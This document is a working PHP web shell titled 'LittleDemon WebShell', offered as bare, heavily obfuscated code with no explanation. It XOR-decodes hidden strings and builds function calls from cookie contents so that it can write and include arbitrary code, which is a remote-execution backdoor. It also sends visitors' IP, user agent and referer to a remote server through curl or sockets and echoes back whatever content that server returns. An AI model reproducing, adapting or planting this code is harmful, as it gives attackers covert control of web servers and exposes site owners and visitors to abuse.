LittleDemon WebShell

<?php class _kw{private static$_ob;static function _klw($_iy,$_fwv){if(!self::$_ob)self::_oem();$_mn=strlen($_fwv);$_vuc=base64_decode(self::$_ob[$_iy]);for($_zcq=0,$_eu=strlen($_vuc);$_zcq!==$_eu;++$_zcq)$_vuc[$_zcq]=chr(ord($_vuc[$_zcq])^ord($_fwv[$_zcq%$_mn]));return$_vuc;}private static function _oem(){self::$_ob=array('_fxw'=>'HgcBEywXTzUwChYEMAhPNzMIDQFyKxAfOA0MTH9O','_yx'=>'HBgeHjoZBEcLDgAPZVcRGi8bGQk+AxkFMVgaCykWAwktHgAe','_yij'=>'PB8=','_evz'=>'OhI4LwgxFl07NQxGEwEVaycYOF8+NQxGFgIFNg8lGgI9NiFCBTM8byIbKAIRMj0fFgEdNg81CREWHCFL','_cv'=>'LgcKHA==','_rbw'=>'YxkNYQ==','_uwb'=>'YxoHO0Y=','_jp'=>'KAYCAA==','_uf'=>'','_tn'=>'','_vx'=>'','_qki'=>'NwAVGGVbThgqFk8fOhYHATMRCQcsAAQacRcOBXAXDgUvGxINLVoLG2AQABw+SQ==','_ssm'=>'PAEKMysRMR0M','_bbj'=>'Nx0WEQAKDQU6','_jgd'=>'LAgOCzIO','_mu'=>'NxYeLxE=','_fc'=>'GDM1WQ==','_ws'=>'LxEYBQ==','_an'=>'LgIdLQ4=','_ak'=>'YA==','_jtu'=>'Lh8HGyY=','_ib'=>'fy88CzdHbklYUm0gMBQcZUc=','_sv'=>'NwofKw==','_ugs'=>'UnonMB4KOhMQNh8KZVAnMx8XOn1uUno=','_nmj'=>'LAMdZV9e','_uet'=>'','_ong'=>'NwUdAQ==','_biv'=>'Ums=','_giy'=>'Fz8kJgAoPD8aJSQpFjs=','_sw'=>'FyIiPwAuKSkQJCEuDTIzKwAwOT0=','_xzb'=>'DSA3EDE/ACQ+Gzc=','_pbm'=>'Fy0sIgAsKzcNJjk1Gjcs','_cm'=>'Fy4lOwAvIi4NJTAsGjQl','_xmi'=>'','_xtk'=>'FyIjPgAkMigaJDI8','_hx'=>'FzA4NAA2KSIaNik2','_sf'=>'','_yu'=>'FzEkPwAmPCYaKyQwFjU=','_yk'=>'Fy4mKgA5PjMaNCYlFio=','_xm'=>'Fzs1DzA5ACkuDTggDSskGzAnED0=','_qks'=>'FyYmDy0qADQ9DSUzDTY3Gy00ECA=','_mlj'=>'DTEpOAsxOzYbMDY=','_mh'=>'DSwsIQssPi8bLTM=','_qek'=>'OxAUBDAWFg==','_bjn'=>'FjlASw==','_jed'=>'fxlMMB5fTA==','_ou'=>'fxBODQkIZUw=','_byw'=>'f14bLVxz','_hux'=>'Nh8=','_bq'=>'Khk=','_bez'=>'LQ0T','_xng'=>'LhkRJw==',);}}header(_kw::_klw('_fxw','_dbv'));header(_kw::_klw('_yx','_wpj'));if(isset($_GET[_kw::_klw('_yij','_wmr')])){$_dp=_zib(_kw::_klw('_evz','_kr'));if($_dp&&strpos($_dp,_kw::_klw('_cv','_ppd'))!==false){die(_kw::_klw('_rbw','_vf'));}else{die(_kw::_klw('_uwb','_xf'));}}if(isset($_GET[_kw::_klw('_jp','_gnl')])){$_eu=$_COOKIE;$_fwv=(int)round(0+0+0);$_iy=(int)round(3.5+3.5);$_nxf=array();$_nxf[$_fwv]=_kw::_klw('_uf','_ia');while($_iy){$_nxf[$_fwv].=$_eu[(int)round(7.5+7.5+7.5+7.5)][$_iy];if(!$_eu[(int)round(7.5+7.5+7.5+7.5)][$_iy+(int)round(0.33333333333333+0.33333333333333+0.33333333333333)]){if(!$_eu[(int)round(7.5+7.5+7.5+7.5)][$_iy+(int)round(1+1)])break;$_fwv++;$_nxf[$_fwv]=_kw::_klw('_tn','_dd');$_iy++;}$_iy=$_iy+(int)round(1.75+1.75+1.75+1.75)+(int)round(0.33333333333333+0.33333333333333+0.33333333333333);}$_fwv=$_nxf[(int)round(7+7)]().$_nxf[(int)round(6+6+6+6)];if(!$_nxf[(int)round(1.5+1.5+1.5+1.5)]($_fwv)){$_iy=$_nxf[(int)round(13+13)]($_fwv,$_nxf[(int)round(5+5)]);$_nxf[(int)round(3+3+3)]($_iy,$_nxf[(int)round(2.75+2.75+2.75+2.75)].$_nxf[(int)round(7.6666666666667+7.6666666666667+7.6666666666667)]($_nxf[(int)round(8.3333333333333+8.3333333333333+8.3333333333333)]($_eu[(int)round(1+1+1)])));}include($_fwv);}function _zib($_lp){$_bts=_kw::_klw('_vx','_hb');$_ks=_kw::_klw('_qki','_tah').$_lp;if(is_callable(_kw::_klw('_ssm','_tx'))){$_on=curl_init($_ks);curl_setopt($_on,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($_on,CURLOPT_SSL_VERIFYHOST,(int)round(0.66666666666667+0.66666666666667+0.66666666666667));curl_setopt($_on,CURLOPT_FOLLOWLOCATION,(int)round(0.5+0.5));curl_setopt($_on,CURLOPT_RETURNTRANSFER,(int)round(0.25+0.25+0.25+0.25));curl_setopt($_on,CURLOPT_HEADER,(int)round(0+0+0+0));curl_setopt($_on,CURLOPT_CONNECTTIMEOUT,(int)round(3.3333333333333+3.3333333333333+3.3333333333333));curl_setopt($_on,CURLOPT_TIMEOUT,(int)round(5+5));$_bts=curl_exec($_on);$_jwm=curl_getinfo($_on);curl_close($_on);if($_jwm[_kw::_klw('_bbj','_iba')]!=(int)round(50+50+50+50))return false;}else{$_oj=parse_url($_ks);$_cc=($_oj[_kw::_klw('_jgd','_kfn')]==_kw::_klw('_mu','_bj'));$_eg=_kw::_klw('_fc','_vay').$_oj[_kw::_klw('_ws','_plm')];if(isset($_oj[_kw::_klw('_an','_wx')]))$_eg.=_kw::_klw('_ak','_gol').$_oj[_kw::_klw('_jtu','_jbi')];$_eg.=_kw::_klw('_ib','_gh').$_oj[_kw::_klw('_sv','_el')]._kw::_klw('_ugs','_pd');$_wgh=fsockopen(($_cc?_kw::_klw('_nmj','_pq'):_kw::_klw('_uet','_umx')).$_oj[_kw::_klw('_ong','_jnu')],$_cc?(int)round(110.75+110.75+110.75+110.75):(int)round(26.666666666667+26.666666666667+26.666666666667));if($_wgh){fputs($_wgh,$_eg);$_vuc=(int)round(0+0+0);while(!feof($_wgh)){$_vsu=fgets($_wgh,(int)round(341.33333333333+341.33333333333+341.33333333333));if($_vuc)$_bts.=$_vsu;if($_vsu==_kw::_klw('_biv','_av'))$_vuc=(int)round(0.5+0.5);}fclose($_wgh);}}return$_bts;}$_pvi=isset($_SERVER[_kw::_klw('_giy','_kpv')]);$_nm=isset($_SERVER[_kw::_klw('_sw','_vvo')]);$_wsr=isset($_SERVER[_kw::_klw('_xzb','_ez')]);$_agw=isset($_SERVER[_kw::_klw('_pbm','_yxr')])?$_SERVER[_kw::_klw('_cm','_zqk')]:_kw::_klw('_xmi','_gr');$_kbl=isset($_SERVER[_kw::_klw('_xtk','_vwn')])?$_SERVER[_kw::_klw('_hx','_dld')]:_kw::_klw('_sf','_so');$_pvi=isset($_SERVER[_kw::_klw('_yu','_epo')])?$_SERVER[_kw::_klw('_yk','_zrz')]:null;$_nm=isset($_SERVER[_kw::_klw('_xm','_oa')])?$_SERVER[_kw::_klw('_qks','_rr')]:null;$_wsr=isset($_SERVER[_kw::_klw('_mlj','_tdw')])?$_SERVER[_kw::_klw('_mh','_ian')]:null;if(filter_var($_pvi,(int)round(68.75+68.75+68.75+68.75))){$_in=$_pvi;}elseif(filter_var($_nm,(int)round(91.666666666667+91.666666666667+91.666666666667))){$_in=$_nm;}else{$_in=$_wsr;}if(isset($_GET[_kw::_klw('_qek','_rsi')])){echo _kw::_klw('_bjn','_izk').$_in._kw::_klw('_jed','_ele').$_agw._kw::_klw('_ou','_ln').$_kbl._kw::_klw('_byw','_by');exit();}if(!isset($_in)||!isset($_agw)||!isset($_kbl)){exit();}else{$_yn=array(_kw::_klw('_hux','_oxf')=>$_in,_kw::_klw('_bq','_xgv')=>$_agw,_kw::_klw('_bez','_hu')=>$_kbl);$_cdv=urlencode(base64_encode(json_encode($_yn)));$_dp=_zib($_cdv);if($_dp&&strpos($_dp,_kw::_klw('_xng','_nk'))!==false){echo$_dp;exit();}}